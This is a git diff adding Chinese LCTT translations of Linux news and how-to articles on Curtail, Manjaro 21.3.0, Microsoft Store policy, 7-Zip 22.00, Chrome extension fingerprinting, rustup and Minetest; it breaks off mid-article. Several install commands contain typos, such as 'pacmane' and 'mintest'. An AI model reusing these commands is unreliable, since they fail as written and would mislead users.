collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14748-1.html" + +用 Curtail GUI 应用轻松压缩 Linux 中的图像 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/23/182901s4d060uu98g8qquv.jpg) + +有一大堆文件尺寸巨大的图片占用了太多的磁盘空间?或者你必须将图片上传到有文件大小限制的门户网站? + +你可能有很多原因想要压缩图片。有大量的工具可以帮助你,我在这里说的不是命令行的工具。 + +你可以使用一个成熟的图像编辑器,如 GIMP。你也可以使用像 [Squoosh][1] 这样的网络工具,这是谷歌的一个开源项目。它甚至可以让你比较每个压缩级别的文件。 + +然而,所有这些工具都是针对单个图像工作的。如果你想批量压缩照片怎么办?Curtail 是一个能帮助你的应用。 + +### Curtail: Linux 中用于图像压缩的灵巧工具 + +使用 Python 和 GTK3 构建的 Curtail 是一个简单的 GUI 应用,使用 OptiPNG、[jpegoptim][2] 等开源库来提供图像压缩功能。 + +它有一个 [Flatpak 应用][3]。请确保你的系统已启用 [Flatpak 支持][4]。 + +首先添加 Flathub 仓库: + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +然后使用下面的命令来安装 Curtail: + +``` +flatpak install flathub com.github.huluti.Curtail +``` + +安装后,在你的 Linux 系统的菜单中寻找它,并从那里启动它。 + +![curtail app][5] + +界面朴素而简单。你可以选择你想要无损压缩还是有损压缩。 + +有损压缩会有质量差的图像,但尺寸较小。无损压缩会有更好的质量,但尺寸可能不会比原来的小很多。 + +![curtail app interface][6] + +你可以浏览图片,或者把它们拖到应用中。 + +是的,你可以用 Curtail 一键压缩多张图片。 + +事实上,你甚至不需要点击。只要你选择图片或拖放它们,它们就会被压缩,你会看到压缩过程的摘要。 + +![curtail image compression summary][7] + +正如你在上面的图片中看到的,我的一张图片的尺寸减少了 35%,另外两张图片的尺寸减少了 3% 和 8%。这是在无损压缩的情况下。 + +这些图片以 `-min` 为后缀(默认),保存在与原始图片相同的目录中。 + +虽然它看起来很简约,但有几个选项可以配置 Curtail。点击菜单,你会看到一些设置选项。 + +![curtail configuration options][8] + +你可以选择是将压缩文件保存为新文件还是替换现有文件。如果你选择新文件(默认行为),你也可以为压缩后的图像提供一个不同的后缀。保留文件属性的选项也在这里。 + +在下一个选项卡中,你可以配置有损压缩的设置。默认情况下,压缩级别为 90%。 + +![curtail compression options][9] + +高级选项卡让你可以选择配置 PNG 和 WebP 文件的无损压缩级别。 + +![curtain advanced options][10] + +### 总结 + +正如我前面所说,这不是一个突破性的工具。你可以用其他工具如 GIMP 做同样的事情。它只是使图像压缩的任务更简单,特别是对于批量图像压缩。 + +我很想看到在压缩时有[转换图像文件格式][11]的选项,就像我们在 Converseen 等工具中所拥有的那样。 + +总的来说,对于图像压缩的具体目的来说,这是一个不错的小工具。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/curtail-image-compress/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://squoosh.app/ +[2]: https://github.com/tjko/jpegoptim +[3]: https://itsfoss.com/what-is-flatpak/ +[4]: https://itsfoss.com/flatpak-guide/ +[5]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-app.png +[6]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-app-interface.png +[7]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-image-compression-summary.png +[8]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-configuration-options.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/curtail-compression-options.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/curtain-advanced-options.png +[11]: https://itsfoss.com/converseen/ diff --git a/published/202206/20220620 Manjaro 21.3.0 -Ruah- Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades.md b/published/202206/20220620 Manjaro 21.3.0 -Ruah- Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades.md new file mode 100644 index 0000000000..d5f49184e2 --- /dev/null +++ b/published/202206/20220620 Manjaro 21.3.0 -Ruah- Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades.md @@ -0,0 +1,92 @@ +[#]: subject: "Manjaro 21.3.0 ‘Ruah’ Release Adds Latest Calmares 3.2, GNOME 42, and More Upgrades" +[#]: via: "https://news.itsfoss.com/manjaro-21-3-0-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14754-1.html" + +Manjaro 21.3.0 Ruah 发布:增加了最新的 Calmares 3.2、GNOME 42 和更多升级 +====== + +> Manjaro Linux 21.3.0 发行包包含一些最新和最强大的更新,包括改进的安装程序。 + +![](https://img.linux.net.cn/data/attachment/album/202206/25/093727pqm59kkragcaga4c.jpg) + +Manjaro Linux 是一个滚动发布的发行版。因此,从技术上讲,如果你定期更新系统的话,你一直都会使用最新版本。 + +升级到 Manjaro 21.3.0 应该没什么大不了的,考虑到我已经在正式发布前几天就已经在稳定运行它了,毫无问题。 + +**另外**,你可能想阅读一下我 [从 Ubuntu 切换到 Manjaro][2] 的初步体验(如果你对于升级仍然犹豫不决的话)。 + +那么,Manjaro 21.3.0 带来了什么更新呢? + +### Manjaro 21.3.0 更新内容 + +![][3] + +桌面环境升级到了最新的稳定版本,而内核版本仍然是 [Linux 内核 5.15 LTS][4]。 + +此外,这个版本还包括最终的 Clamares v3.2 版本。让我们来看看它有哪些变化吧。 + +#### Calamares v3.2.59 + +Calamares v3.2.59 安装程序是 3.2 系列的最终版本,它有许多有意义的改进。这次,分区模块包含了对 LUKS 分区的支持和更多改进,以避免那些可能会弄乱 Manjaro 安装的设置。 + +Calamares 3.2 的所有未来版本都将仅是错误修复。 + +#### GNOME 42 + Libadwaita + +最初的版本包含了 GNOME 42,而最新的版本包含了 GNOME 42.2(附带最新的更新)。 + +总体而言,你将获得 [GNOME 42][5] 引入的所有优点,包括系统范围的深色模式、基于 GTK 4 的 GNOME 应用的现代用户界面、升级的应用程序以及其他一些重大变化。 + +![][6] + +#### KDE Plasma 5.24 + +不幸的是,考虑到它差不多是在同一周发布的,因此该版本无法包含 [KDE Plasma 5.25][7]。 + +[KDE Plasma 5.24][8] 是一个不错的升级,具有更新的主题和概览效果。 + +#### XFCE 4.16 + +在 Xfce 4.16 中,窗口管理器得到了许多更新和改进,以支持小数倍数的缩放和更多功能。 + +### 下载 Manjaro 21.3.0 + +到目前为止,我在 Manjaro 21.3.0 GNOME 版本中没有遇到任何问题。一切看起来都不错,升级也很顺利。 + +但是,如果你不想重新安装或丢失重要文件,则应始终进行备份。 + +你可以从 [Manjaro 的下载页面][9] 下载最新版本。你也应该可以通过 pamac 包管理器获得更新。 + +无论哪种情况,你都可以在终端中输入以下命令进行升级: + +``` +sudo pacmane -Syu +``` + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/manjaro-21-3-0-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/manjaro-21-3-0-ruah-release.jpg +[2]: https://news.itsfoss.com/manjaro-linux-experience/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/06/manjaro-gnome-42-2-1024x576.jpg +[4]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[5]: https://news.itsfoss.com/gnome-42-release/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/06/manjaro-21-3-neofetch.png +[7]: https://news.itsfoss.com/kde-plasma-5-25-release/ +[8]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[9]: https://manjaro.org/download/ diff --git a/published/202206/20220620 Microsoft To Charge For Available Open Source Software In Microsoft Store.md b/published/202206/20220620 Microsoft To Charge For Available Open Source Software In Microsoft Store.md new file mode 100644 index 0000000000..81622add51 --- /dev/null +++ b/published/202206/20220620 Microsoft To Charge For Available Open Source Software In Microsoft Store.md @@ -0,0 +1,40 @@ +[#]: subject: "Microsoft To Charge For Available Open Source Software In Microsoft Store" +[#]: via: "https://www.opensourceforu.com/2022/06/microsoft-to-charge-for-available-open-source-software-in-microsoft-store/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14755-1.html" + +微软将对应用商店中开源软件的收费进行限制 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/25/101648dlxnqxkaox00xc3l.jpg) + +2022 年 6 月 16 日,微软更新了其应用商店的策略。其中一项禁止了发布者对开源或免费的软件收取费用,另一项则针对的是商店使用的不合理高价。如果你在过去几年中访问过微软应用商店,你可能已经注意到,它正在成为越来越多的开源和免费产品的所在地。如果原始开发者将应用程序和游戏上传到商店,这将是有益的,但情况并非如此,因为它们是由第三方上传的。 + +更糟糕的是,其中许多程序仅作为付费应用提供,而不是免费下载。换句话说,微软的客户必须付费才能购买应用商店的版本,而它们在其他地方是免费的!在应用商店中,免费版和付费版有时并存。为免费应用付费已经够糟糕的了,但这并不是用户在购买时可能遇到的唯一问题。更新也可能是一个问题,因为山寨应用可能不会像源头应用程序那样频繁或快速地更新。 + +在更新的微软商店政策中,微软在 10.8.7 节下指出: + +> 在您决定产品或应用内购买的定价时,您的数字产品或服务的所有定价(包括销售或折扣)必须: +> +> 遵守所有适用的法律、法规和监管要求,包括联邦贸易委员会的《反欺骗性定价指南》。您不得试图从开源软件或其他可免费获得的软件中获利,您的产品也不应提供一个(与它提供的特性和功能相比)过高的不合理定价。 + +这个新策略在更新部分中得到了确认。如果开源和免费产品普遍免费提供,则它们不得在微软应用商店上出售,发布者也不得对其产品收取不合理的高价。开源和免费应用的开发者可以在微软应用商店上为其产品收费。例如,Paint.net 的开发者就是这样做的。如果微软强制执行这些策略,许多应用将从应用商店中删除。以前,开发者可以向微软报告应用程序,但在新策略下,微软可以直接控制应用的列出和提交。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/microsoft-to-charge-for-available-open-source-software-in-microsoft-store/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/microsoft-e1655714723942.jpg diff --git a/published/202206/20220621 Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro.md b/published/202206/20220621 Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro.md new file mode 100644 index 0000000000..ac911d1337 --- /dev/null +++ b/published/202206/20220621 Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro.md @@ -0,0 +1,76 @@ +[#]: subject: "Mysterious GeckoLinux Creator Reveals a New Debian Remix Distro" +[#]: via: "https://news.itsfoss.com/debian-remix-spiral-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14758-1.html" + +神秘的 GeckoLinux 创建者推出了一个新的 Debian 合成发行版 +====== + +> GeckoLinux 创建者推出了一个基于 Debian 的新 Linux 发行版,专注于简单性和可用性。 + +![Linux 螺旋][1] + +GeckoLinux 改进了的 openSUSE 体验,它的创建者一直保持匿名。 + +我不会评论这是好事还是坏事,但现在,开发者又带着另一个基于 Debian 的类似项目回来了。 + +**SpiralLinux**,这是一个基于 Debian 的发行版,旨在使 Debian 适合最终用户使用。 + +### SpiralLinux:基于 Debian 构建的发行版 + +![SpiralLinux][2] + +毫不奇怪,大多数用户友好的 Linux 发行版都将 Debian 作为其原始基础。Ubuntu 就是在此基础上进行了大量改进,从而提供了良好的桌面体验,即使对于没有 Linux 经验的用户也是如此。 + +那么,这个发行版有什么不同呢? + +嗯,它的创建者说,这个项目旨在帮助你获得 Debian 的所有核心优势,而无需定制很多东西。 + +如果你想在桌面上使用 Debian,SpiralLinux 是一种接近原版的体验。你还可以根据需要升级到最新的稳定 Debian 版本(或不稳定/测试版),而不会丢失方便易用的自定义设置。 + +换句话说,SpiralLinux 使 Debian 适合桌面使用,而最终用户只需付出最小的努力。 + +为了实现这一点,SpiralLinux 使用了 Debian 官方软件包存储库,并提供了现场安装方式,让你能够定制自己的 Debian 系统。 + +此外,SpiralLinux 还具有以下功能: + +* 开箱即用的 VirtualBox 支持 +* 预装了专有的媒体编解码器和非自由软件包存储库 +* 预装了专有固件 +* 打印机支持 +* 通过 GUI(软件中心)支持 Flatpak +* 默认启用 zRAM 交换 +* 多种桌面环境(Cinnamon、XFCE、Gnome、Plasma、MATE、Budgie、LXQt) + +Debian 始终坚持使用开源和自由软件包,最终用户必须自己搞定编解码器、驱动程序和其他软件包,才能使许多功能正常工作,获得令他们满意的桌面体验。 + +而 SpiralLinux 似乎可以作为 Debian 的一个有用的替代品,就像 GeckoLinux 之于 openSUSE 一样。 + +### 下载 SpiralLinux + +如果你一直想尝试 Debian,但又不想在初始配置上费尽心思,你可以尝试 SpiralLinux。 + +你可以前往其托管在 GitHub 上的官网以了解更多信息,链接如下: + +> **[SpiralLinux][3]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/debian-remix-spiral-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/spiral-linux-debian-remix-distro.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/06/spirallinux.jpg +[3]: https://spirallinux.github.io/ diff --git a/published/202206/20220621 The Final Version Of 7-Zip 22.00 Is Now Available.md b/published/202206/20220621 The Final Version Of 7-Zip 22.00 Is Now Available.md new file mode 100644 index 0000000000..15e9c3d03e --- /dev/null +++ b/published/202206/20220621 The Final Version Of 7-Zip 22.00 Is Now Available.md @@ -0,0 +1,45 @@ +[#]: subject: "The Final Version Of 7-Zip 22.00 Is Now Available" +[#]: via: "https://www.opensourceforu.com/2022/06/the-final-version-of-7-zip-22-00-is-now-available/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14764-1.html" + +7-Zip 22.00 最终版现已推出 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/27/110310hwrmxuwyqlor1olp.jpg) + +7-Zip 是用于 Windows、Mac 和 Linux 的知名开源文件归档器。它的最新版本 22.00 现已推出。它是 2022 年的第一个稳定版本。上一个版本是 21.07,于 2021 年 12 月发布。7-Zip 的用户可以从官方网站获取该应用的最新版本,下载适用于 Windows 64 位、32 位和 ARM 版本。该应用仍然与过时的 Windows 版本兼容,例如 XP 和 Vista。它还支持所有官方支持的 Windows 版本,包括服务器版本。适用于 Linux 的 7-Zip 22.00 已经可以下载,但 Mac OS 版本还不可用。 + +7-Zip 22.00 包含一些增强了应用功能的新特性。这个归档器现在支持提取苹果文件系统Apple File System(APFS)镜像。几年前,苹果公司在 Mac OS 10.13 和 iOS 中引入了苹果文件系统。该文件系统在设计时就考虑到了闪存(Flash)和固态硬盘(SSD)存储。 + +7-Zip 22.00 包括了对其 TAR 存档支持的多项增强。使用选项 `-ttar -mm=pax` 或 `-ttar -mm=posix`,7-Zip 现在可以创建符合 POSIX 标准的 tar 格式的 TAR 档案。此外,使用选项 `ttar -mm=pax -mtp=3 -mtc -mta`,7-Zip 可以在 tar/pax 存档中存储高精度的文件时间戳。 + +最后,Linux 用户可以在 TAR 归档文件中使用以下两个新选项: + +* `snoi`:将所有者/组 ID 保存在存档中,或将所有者/组 ID 从存档复制到提取的文件中。 +* `snon`:在存档中保留所有者/组的名称。 + +适用于 Windows 的 7-Zip 22.00 添加了对 `-snz` 选项的支持,该选项用于传播区识别符(LCTT 译注:区标识符是微软在 2013 年为 IE 设计的安全功能,它会标记那些用户自网络上所下载的文件,并在用户准备打开时跳出警告)。 + +要提取文件,请使用标识符流。出于安全目的,Windows 使用了该流,它可用于确定文件是在本地创建的还是从互联网下载的。 + +在“添加到存档add to archive”配置对话框中,7-Zip 22.00 包含一个新的选项窗口。它包括用于更改时间戳精度、更改其他与时间相关的配置选项,以及防止更改源文件的最后访问时间等选项。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/the-final-version-of-7-zip-22-00-is-now-available/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/7-zip-2200-500x312-1.jpg diff --git a/published/202206/20220621 This Open-Source Project Proves Chrome Extensions Can Track You.md b/published/202206/20220621 This Open-Source Project Proves Chrome Extensions Can Track You.md new file mode 100644 index 0000000000..ae5ea206e5 --- /dev/null +++ b/published/202206/20220621 This Open-Source Project Proves Chrome Extensions Can Track You.md @@ -0,0 +1,70 @@ +[#]: subject: "This Open-Source Project Proves Chrome Extensions Can Track You" +[#]: via: "https://news.itsfoss.com/chrome-extension-tracking/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14768-1.html" + +你安装的 Chrome 扩展的组合可以跟踪你 +====== + +> 这会成为放弃基于 Chromium 的浏览器并开始使用 Firefox 的一个理由吗?也许吧,决定权在你。 + +![Chrome 扩展追踪器][1] + +即使你有了所有的隐私扩展和各种保护功能,别人仍然有方法可以识别你或跟踪你。 + +请注意,并非所有浏览器都是如此,本文中,我们主要关注基于 Chromium 的浏览器,并将谷歌 Chrome 作为“主要嫌疑人”。 + +以前,在 Chromium 浏览器上,尽管别人已经能够检测到你已安装的扩展程序,但许多扩展程序都实施了某些保护措施来防止这种检测。 + +然而,一位名为 “**z0ccc**” 的安全研究人员发现了一种检测已安装 Chrome 浏览器扩展程序的新方法,该方法可进一步用于**通过“浏览器指纹识别”来跟踪你**。 + +如果你还不知道的话:浏览器指纹识别Browser Fingerprinting是指收集有关你的设备/浏览器的各种信息,以创建唯一的指纹 ID(哈希),从而在互联网上识别你的一种跟踪方法。“各种信息”包括:浏览器名称、版本、操作系统、已安装的扩展程序、屏幕分辨率和类似的技术数据。 + +这听起来像是一种无害的数据收集技术,但可以使用这种跟踪方法在线跟踪你。 + +### 检测谷歌 Chrome 扩展 + +研究人员发布了一个开源项目 “**Extension Fingerprints**”,你可以使用它来测试你安装的 Chrome 扩展是否能被检测到。 + +新技术涉及一种“时间差”方法,该工具比较了扩展程序获取资源的时间。与浏览器上未安装的其他扩展相比,受保护的扩展需要更多时间来获取资源。因此,这有助于从 1000 多个扩展列表中识别出一些扩展。 + +关键是:即使有了各种新的进步和技术来防止跟踪,Chrome 网上应用店的扩展也可以被检测到。 + +![][2] + +并且,在检测到已安装的扩展程序后,别人可以就使用浏览器指纹识别,对你进行在线跟踪。 + +令人惊讶的是,即使你安装有 uBlocker、AdBlocker、或 Privacy Badger(一些流行的以隐私为重点的扩展程序)之类的扩展程序,使用了这种方法,它们也都可以被检测到。 + +你可以在它的 [GitHub 页面][3] 上查看所有技术细节。如果你想自己测试它,请前往它的 [扩展指纹识别网站][4] 自行检查。 + +### 拯救 Firefox? + +嗯,似乎是的,毕竟我出于各种原因,[不断回到 Firefox][5]。 + +这个新发现的(跟踪)方法应该适用于所有基于 Chromium 的浏览器。我在 Brave 和谷歌 Chrome 上都测试了这个方法。研究人员还提到,该工具不能在使用微软应用商店中的扩展的微软 Edge 上工作。但是,相同的跟踪方法仍然有效。 + +正如研究人员指出,Mozilla Firefox 可以避免这种情况,因为每个浏览器实例的扩展 ID 都是唯一的。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/chrome-extension-tracking/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/opensource-project-tracker-chrome-extensions.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/06/extension-fingerprints.jpg +[3]: https://github.com/z0ccc/extension-fingerprints +[4]: https://z0ccc.github.io/extension-fingerprints/ +[5]: https://news.itsfoss.com/why-mozilla-firefox/ diff --git a/published/202206/20220622 Manage your Rust toolchain using rustup.md b/published/202206/20220622 Manage your Rust toolchain using rustup.md new file mode 100644 index 0000000000..b60c13fec5 --- /dev/null +++ b/published/202206/20220622 Manage your Rust toolchain using rustup.md @@ -0,0 +1,142 @@ +[#]: subject: "Manage your Rust toolchain using rustup" +[#]: via: "https://opensource.com/article/22/6/rust-toolchain-rustup" +[#]: author: "Gaurav Kamathe https://opensource.com/users/gkamathe" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14779-1.html" + +使用 rustup 管理你的 Rust 工具链 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/30/145426h9he5z111149ctcj.jpg) + +> rustup 可用于 Rust 安装与更新。它还能够在稳定版、测试版和每日更新版之间无缝切换 Rust 编译器及其工具。 + +[Rust 编程语言][2] 如今变得越来越流行,受到爱好者和公司的一致好评。它受欢迎的原因之一是 Rust 提供的令人惊叹的工具,使其成为开发人员使用的乐趣。[rustup][3] 是管理 Rust 工具的官方工具。它不仅可以安装和更新 Rust ,它还能够在稳定版、测试版和每日更新版之间无缝切换 Rust 编译器及其工具。本文将向你介绍 `rustup` 及其一些常用命令。 + +### 默认 Rust 安装方式 + +如果你想在 Linux 上安装 Rust,你可以使用你的包管理器。在 Fedora 或 CentOS Stream 上,你可以这样: + +``` +$ sudo dnf install rust cargo +``` + +这提供了一个稳定版的 Rust 工具链,如果你是 Rust 的初学者,并想尝试编译和运行简单的程序,它会非常有用。但是,由于 Rust 是一种新的编程语言,它变化很快,并且经常添加许多新功能。这些功能是 Rust 工具链的每日更新版和之后测试版的一部分。要试用这些功能,你需要安装这些较新版本的工具链,而不会影响系统上的稳定版本。不幸的是,你的发行版的包管理器在这里无法做到。 + +### 使用 rustup 安装 Rust 工具链 + +要解决上述问题,你可以下载安装脚本: + +``` +$ curl --proto '=https' --tlsv1.2 \ + -sSf https://sh.rustup.rs > sh.rustup.rs +``` + +检查它,然后运行它。它不需要 root 权限,并根据你的本地用户权限安装 Rust: + +``` +$ file sh.rustup.rs +sh.rustup.rs: POSIX shell script, ASCII text executable +$ less sh.rustup.rs +$ bash sh.rustup.rs +``` + +出现提示时选择选项 `1`: + +``` +1) Proceed with installation (default) +2) Customize installation +3) Cancel installation +> 1 +``` + +安装后,你必须获取环境变量以确保 `rustup` 命令立即可供你运行: + +``` +$ source $HOME/.cargo/env +``` + +验证是否安装了 Rust 编译器(`rustc`)和 Rust 包管理器(`cargo`): + +``` +$ rustc --version +$ cargo --version +``` + +### 查看已安装和可用的工具链 + +你可以使用以下命令查看已安装的不同工具链以及哪个工具链是可用的: + +``` +$ rustup show +``` + +### 在工具链之间切换 + +你可以查看默认工具链并根据需要进行更改。如果你当前使用的是稳定版工具链,并希望尝试每日更新版中提供的新功能,你可以轻松切换到每日更新版工具链: + +``` +$ rustup default +$ rustup default nightly +``` + +要查看 Rust 的编译器和包管理器的完整路径: + +``` +$ rustup which rustc +$ rustup which cargo +``` + +### 检查和更新工具链 + +要检查是否有新的 Rust 工具链可用: + +``` +$ rustup check +``` + +假设一个新版本的 Rust 发布了,其中包含一些有趣的特性,并且你想要获取最新版本的 Rust。你可以使用 `update` 子命令来做到这一点: + +``` +$ rustup update +``` + +### 帮助和文档 + +以上命令对于日常使用来说绰绰有余。尽管如此,`rustup` 有多种命令,你可以参考帮助部分了解更多详细信息: + +``` +$ rustup --help +``` + +`rustup` 在 GitHub 上有完整的 [参考手册][4],你可以用作参考。所有 Rust 文档都安装在你的本地系统上,不需要你连接到互联网。你可以访问包括书籍、标准库等在内的本地文档: + +``` +$ rustup doc +$ rustup doc --book +$ rustup doc --std +$ rustup doc --cargo +``` + +Rust 是一种正在积极开发中的令人兴奋的语言。如果你对编程的发展方向感兴趣,请关注 Rust! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/rust-toolchain-rustup + +作者:[Gaurav Kamathe][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tools_hardware_purple.png +[2]: https://www.rust-lang.org/ +[3]: https://github.com/rust-lang/rustup +[4]: https://rust-lang.github.io/rustup/ diff --git a/published/202206/20220623 Minetest, an Open Source Minecraft Alternative.md b/published/202206/20220623 Minetest, an Open Source Minecraft Alternative.md new file mode 100644 index 0000000000..5c7b6eef20 --- /dev/null +++ b/published/202206/20220623 Minetest, an Open Source Minecraft Alternative.md @@ -0,0 +1,131 @@ +[#]: subject: "Minetest, an Open Source Minecraft Alternative" +[#]: via: "https://itsfoss.com/minetest/" +[#]: author: "John Paul https://itsfoss.com/author/john/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14774-1.html" + +Minetest:一个开源的 Minecraft 替代品 +====== + +早在 2009 年,Minecraft 就来到了这个世界。从那时起,它已经成为一种文化现象。在这段时间里,一些开发者发布了具有类似想法和机制的开源游戏。今天,我们将看看其中最大的一个:Minetest。 + +### 什么是 Minetest? + +![](https://img.linux.net.cn/data/attachment/album/202206/29/151524eem52oyatm2tz2dr.jpg) + +[Minetest][2],简单地说,是一个基于体素voxel的沙盒游戏,与 Minecraft 非常相似。与 Minecraft 不同的是,Minetest 是用 C++ 编写的,并被设计成可以在大多数系统上原生运行。它也有一个非常大的地图区域。地图大小为 “62,000 × 62,000 × 62,000 块”,“你可以向下开采 31,000 块,或向上建造 31,000 块”。 + +有趣的是,Minetest 最初是以专有许可证发布的,但后来被重新授权为 GPL。此后,它又被重新授权为 LGPL。 + +Minetest 有几种模式。你可以建造并发挥创意,或者你可以尝试在各种元素中生存。你并不局限于这些模式。Minetest 有大量的 [额外内容][3],包括 模组mod、纹理包和在 Minetest 中建立的游戏。这主要是通过 Minetest 的 [模组 API][4] 和 Lua 完成的。 + +![minetest packages][5] + +对于那些玩过 Minecraft 的人来说,你会发现 Minetest 中的体验非常相似。你可以挖掘资源,建造结构,并结合材料来制作工具。我在 Minetest 中没有注意到的一件事是怪物。我认为 Minetest 中没有任何生物,但话说回来,我只在创意模式中玩过。我还没有玩过生存模式。 + +Minetest 也被用于 [教育][6]。例如,瑞士 CERN 的人用 Minetest 创造了一个游戏,以 [展示互联网是如何工作的][7] 以及它是如何被创造出来的。Minetest 还被用于 [教授][8] 编程、地球科学以及微积分和三角学。 + +![minetes map1][9] + +### 如何安装 Minetest? + +Minetest 几乎在每个系统上都可以使用。下面是一个命令列表,你可以用它来在一些最流行的 Linux 发行版中安装 Minetest。 + +#### Ubuntu 或者 Debian + +如果你有一个基于 Ubuntu 或 Debian 的发行版,只要在终端输入这个命令: + +``` +sudo apt install mintest +``` + +#### Arch 或者 Manjaro + +对于基于 Arch 的系统(如 Manjaro),使用: + +``` +sudo pacman -S minetest +``` + +#### Fedora + +你可以从 Fedora 服务器中输入以下命令安装 Mintest: + +``` +sudo dnf install mintest +``` + +#### openSUSE + +openSUSE 用户可以用这个命令安装 Minetest: + +``` +sudo zypper in mintest +``` + +#### FreeBSD + +FreeBSD 用户很幸运。他们可以用这个命令安装 Mintest: + +``` +pkg install minetest minetest_game +``` + +#### Snap + +要安装 Minetest 的 Snap 包,请在终端输入以下命令: + +``` +sudo snap install minetest +``` + +#### Flathub + +要安装,请输入: + +``` +flatpak install flathub net.minetest.Minetest +``` + +你可以在 [这里][11] 下载 Windows 的可移植执行文件。你也可以在 Android 上安装 Minetest,可以通过 [Google Play][12] 或 [下载 APK][13]。 + +### 总结 + +![minetest about][14] + +我已经在 Minetest 